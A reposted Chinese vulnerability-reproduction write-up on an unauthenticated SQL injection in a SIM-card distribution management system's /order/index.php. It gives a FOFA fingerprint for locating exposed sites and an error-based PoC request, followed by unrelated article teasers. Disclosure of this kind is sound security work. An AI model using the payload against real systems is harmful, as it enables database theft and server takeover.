当前位置： 首页 > news >正文

号卡极团分销管理系统 index.php SQL注入漏洞复现

news 文章来源：https://blog.csdn.net/qq_41904294/article/details/137384359 2025/4/21 13:30:33

0x01 产品简介

号卡极团分销管理系统，同步对接多平台，同步订单信息，支持敢探号一键上架，首页多套UI+商品下单页多套模板，订单查询支持实时物流信息、支持代理商自定义域名、泛域名绑定，内置敢探号、172平台、号氪云平台第三方接口以及号卡网同系统对接！

0x02 漏洞概述

号卡极团分销管理系统 /order/index.php 接口存在SQL注入漏洞，未经身份验证攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：icon_hash="-795291075"

0x04 漏洞复现

PoC

GET /order/index.php?pid=1%27%20AND%20(extractvalue(1,concat(0x7e,(select%20version()),0x7e)));--%20htjf HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept-Encoding: gzip

查询数据库版本

相关文章：

号卡极团分销管理系统 index.php SQL注入漏洞复现

0x01 产品简介 号卡极团分销管理系统，同步对接多平台，同步订单信息，支持敢探号一键上架，首页多套UI+商品下单页多套模板，订单查询支持实时物流信息、支持代理商自定义域名、泛域名绑定，内置敢探号、172平台、号氪云平台第三方接口以及号卡网同系统对接！ 0x02 漏洞概述…...

编程日记 2024/4/12 3:22:35

内核驱动更新

1.声明我们是开源的 .c 文件末尾加上 2.在Kconfig里面修改设备，bool（双态）-----》tristate（三态） 3.进入menuconfig修改为M 4.编译内核 make modules 也许你会看到一个 .ko 文件 5.复制到根目录文件下 在板子…...

编程日记 2024/4/12 3:20:32

故障诊断 | 一文解决，PLS偏最小二乘法的故障诊断（Matlab）

效果一览 文章概述 故障诊断 | 一文解决，PLS偏最小二乘法的故障诊断（Matlab） 模型描述 偏最小二乘法（Partial Least Squares, PLS）是一种统计建模方法，用于建立变量之间的线性关系模型。它是对多元线性回归方法的扩展，特别适用于处理高维数据和具有多重共线性的数据集。…...

编程日记 2024/4/12 3:18:31

我为什么选择成为程序员？

前言： 我选择成为程序员不是兴趣所在，也不是为了职业发展，全是生活所迫！ 第一章：那年，我双手插兜，对外面的世界一无所知 时间回到2009年，时间过得真快啊，一下就是15年前…...

编程日记 2024/4/12 3:17:29

Open CASCADE学习|统计形状拓扑数量

边界表示法（Boundary Representation，简称B-Rep）是几何造型中最成熟、无二义的表示法。它主要用于描述物体的几何信息和拓扑信息。在边界表示法中，一个实体（Solid）由一组封闭的面（Face&#xff…...

编程日记 2024/4/12 3:14:26

LeetCode 热题 100 题解（二）：双指针部分（2）| 滑动窗口部分（1）

题目四：接雨水（No. 43） 题目链接：https://leetcode.cn/problems/trapping-rain-water/description/?envTypestudy-plan-v2&envIdtop-100-liked 难度：困难 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&am…...

编程日记 2024/4/12 3:13:24

常用的深度学习自动标注软件

0. 简介 自动标注软件是一个非常节省人力资源的操作，而随着深度学习的发展，这些自动化标定软件也越来越多。本文章将会着重介绍其中比较经典的自动标注软件 1. AutoLabelImg AutoLabelImg 除了labelimg的初始功能外，额外包含十多种辅助标注…...

编程日记 2024/4/12 3:11:22

选择程序员是为什么？

本章节是关于为什么会选择一名程序员的经验分享 首先，我为什么会选择这个方向，可能是因为钱多，学东西不就是为了赚钱嘛？这是一点，不过最让我接收这个行业的是好奇世界的新大陆，可以简单的说就是&#xff0c…...

编程日记 2024/4/12 3:10:22

线程池参数如何设置

线程池参数设置 hello丫，各位小伙伴们，好久不见了！ 下面，我们先来复习一下线程池的参数 1、线程池参数有哪些？ corePoolSize（核心线程数）：线程池中的常驻核心线程数。即使这些线程…...

编程日记 2024/4/12 3:08:20

qt环境搭建-镜像源安装Qt Creator（5.15.2）以及配置环境变量

前言： 版本：5.15.2 镜像源：ustc与清华 纯小白，找了半天的镜像源安装qtcreator，搞了半天结果安装的是最新的，太新的对小白很不友好，bug比较多，支持的系统也不全，口碑不…...

编程日记 2024/4/12 3:05:17

SQL Server详细安装使用教程

1.安装环境 现阶段基本不用SQL Server数据库了，看到有这样的分析话题，就把多年前的存货发一下，大家也可以讨论看看，思路上希望还有价值。 SQL Server 2008 R2有32位版本和64位版本，32位版本可以安装在Windows XP及以上…...

编程日记 2024/4/12 3:03:15

深度解读C++17中的std::string_view：解锁字符串处理的新境界

深入研究C17中的std::string_view：解锁字符串处理的新境界 一、简介二、std::string_view的基础知识2.1、构造函数2.2、成员函数 三、std::string_view为什么性能高？四、std::string_view的使用陷阱五、std::string_view源码解析六、总结 一、简介 C中有…...

编程日记 2024/4/12 3:02:12

汇编基础-----常见命令基本使用

汇编基础-----常见命令基本使用 MOV：将数据从一个位置复制到另一个位置。 MOV destination, source例如： MOV RAX, RBX ; 将RBX寄存器中的值复制到RAX寄存器中ADD/SUB：将两个操作数相加或相减。 ADD destination, source SUB destinatio…...

编程日记 2024/4/12 3:01:09

科研学习|可视化——相关性结果的可视化

一、相关性分析介绍 相关性分析是指研究两种或者两种以上的变量之间相关关系的统计分析方法，一般分析步骤为： 1）判断变量间是否存在关联；2）分析关联关系（线性/非线性）、关联方向（正相…...

编程日记 2024/4/12 3:00:08

MapReduce过程解析

一、Map过程解析 Read阶段：MapTask通过用户编写的RecordReader，从输入的InputSplit中解析出一个个key/value。Map阶段：将解析出的key/value交给用户编写的Map()函数处理，并产生一系列的key/value。Collect阶段：在用户编…...

编程日记 2024/4/12 2:58:07

速看！这8道嵌入式面试题你都会吗？

大家好，我是知微！ 正逢求职季，分享一些嵌入式面试当中经常会遇到的题目，希望这些干货对小伙伴们面试有用哦！ 1、介绍一下static关键字的作用 在C语言中，static 关键字有几种不同的作用，根据其…...

编程日记 2024/4/12 2:56:04

基于SSM的电影网站（有报告）。Javaee项目。ssm项目。

演示视频： 基于SSM的电影网站（有报告）。Javaee项目。ssm项目。 项目介绍： 采用M（model）V（view）C（controller）三层体系结构，通过Spring SpringMv…...

编程日记 2024/4/12 2:53:00

SOCKS代理是如何提高网络性能和兼容性的？

SOCKS代理作为一种网络协议中间件，不仅在提升网络隐私和安全性方面发挥着重要作用，也在提高网络性能和兼容性方面有着不容忽视的影响🚀。本文将深入探讨SOCKS代理如何通过减少网络延迟🚀、优化数据传输🔄、提高跨平台兼…...

编程日记 2024/4/12 2:51:59

好菜每回味道不同--建造者模式

1.1 炒菜没放盐 中餐，老板需要每次炒菜，每次炒出来的味道都有可能不同。麦当劳、肯德基这些不过百年的洋快餐却能在有千年饮食文化的中国发展的那么好呢？是因为你不管何时何地在哪里吃味道都一样，而鱼香肉丝在我们中餐却可以吃出上…...

编程日记 2024/4/12 2:47:53

RuoYi-Cloud下载与运行

一、源码下载 若依官网：RuoYi 若依官方网站 鼠标放到"源码地址"上，点击"RuoYi-Cloud 微服务版"。 跳转至Gitee页面，点击"克隆/下载"，复制HTTPS链接即可。 源码地址为：https://gitee.com/y_project/RuoYi-Cloud.git 点击复制 打开IDEA，选…...

编程日记 2024/4/12 2:45:52

Vue2.x计算属性

1.计算属性 在Vue 插值表达式内实现一些操作其实非常便利&#xff0c;但如果表达式的逻辑过于复杂&#xff0c;会让插值过于臃肿且难以维护。这时可以考虑使用Vue的计算属性 1.1 不使用计算属性的例子 <!DOCTYPE html> <html><head><meta charset"…...

编程日记 2024/4/12 2:44:50

Vue中使用require.context()自动引入组件和自动生成路由的方法介绍

目录 一、自动引入组件 1、语法 2、使用 2.1、在compoents文件下随便创建index.js文件 2.2、mian.js引入该js 二、自动生成路由 1、示例&#xff1a; 2、使用 2.1、在router文件下随便创建autoRouter.js文件 2.2、在router文件下index.js文件中引入autoRouter.js文件…...

编程日记 2024/4/12 2:42:48

【炒股Zero To Hero】MACD金叉死叉到底是否有效，加上这个指标回报率增加197倍

移动平均收敛散度&#xff08;MACD - Moving Average Convergence Divergence&#xff09;是一种趋势跟踪动量指标&#xff0c;显示了证券价格的两个移动平均之间的关系。它用于识别趋势的方向和强度&#xff0c;属于技术分析中振荡器的一类。 MACD如何衡量股票及其趋势 有两…...

编程日记 2024/4/12 2:41:47

Linux网络名称空间和虚拟机有何区别

在Linux系统中&#xff0c;网络名称空间和虚拟机都是实现资源隔离和虚拟化的技术&#xff0c;但它们在设计理念、实现机制、资源消耗、使用场景等方面存在着显著的区别。本文旨在全方位、系统性地分析这两种技术的区别。&#x1f50d; 1. 设计理念与实现机制 1.1. 网络名称空…...

编程日记 2024/4/12 2:40:46

【UE Niagara】蓝图获取粒子数据

目录 效果 步骤 一、创建粒子 二、创建蓝图接收Niagara参数 效果 步骤 一、创建粒子 1. 新建一个Niagara发射器&#xff0c;使用Empty模板&#xff0c;打开后先添加“Spawn Rate”模块&#xff0c;这里设置粒子生成速率为0.7 在“Initialize Particle”模块中设置粒子颜色…...

编程日记 2024/4/12 2:39:44

更改el-cascade默认的value和label的键值

后端返回的树结构中&#xff0c;label的key不是el-cascade默认的label&#xff0c;我需要改成对应的字段&#xff0c;但是一直没有成功&#xff0c;我也在文档中找到了说明&#xff0c;但是我没注意这是在props中改&#xff0c;导致一直不成功 这是我一开始错误的写法&#xf…...

编程日记 2024/4/12 2:34:37

2024邮件工单系统排行揭晓：出海必备新宠

2024年各大榜单结果纷纷出炉&#xff0c;一起来看看2024十大邮件工单系统最新排行吧&#xff01; 2024十大邮件工单系统 1、Zoho Desk&#xff1b;2、FreshDesk&#xff1b;3、Service Desk Plus&#xff1b;4、Help Scout&#xff1b;5、Helpshift&#xff1b;6、HongDans&am…...

编程日记 2024/4/12 2:33:37

java题目17:以m行n列二维数组为参数进行方法调用，分别计算二维数组各列元素之和，返回并输出计算结果（MethodCalls17）

每日小语 伟大企业的一项特质是“利润之上的追求”。——段永平 思考 方法调用 方法调用是通过在代码中使用方法名和参数列表来实现的。 public class MethodExample {public static void main(String[] args) {// 调用方法add&#xff0c;并传入两个参数int sum add(3, 5…...

编程日记 2024/4/12 2:32:36

Python中Python-docx 包的run介绍

先对run做一个简单地介绍。每个paragraph对象都包含一个run对象的列表。举例&#xff1a; 这是一个简短的段落。 from docx import Document doc Document("1.docx") #上面这段话保存在1.docx中 print("这一段的run个数是&#xff1a;",len(doc.paragr…...

编程日记 2024/4/12 2:31:34

vue2升级到vue3的一些使用注意事项记录(三）

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 http://122.227.135.243:9666/ 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a…...

编程日记 2024/4/12 2:29:32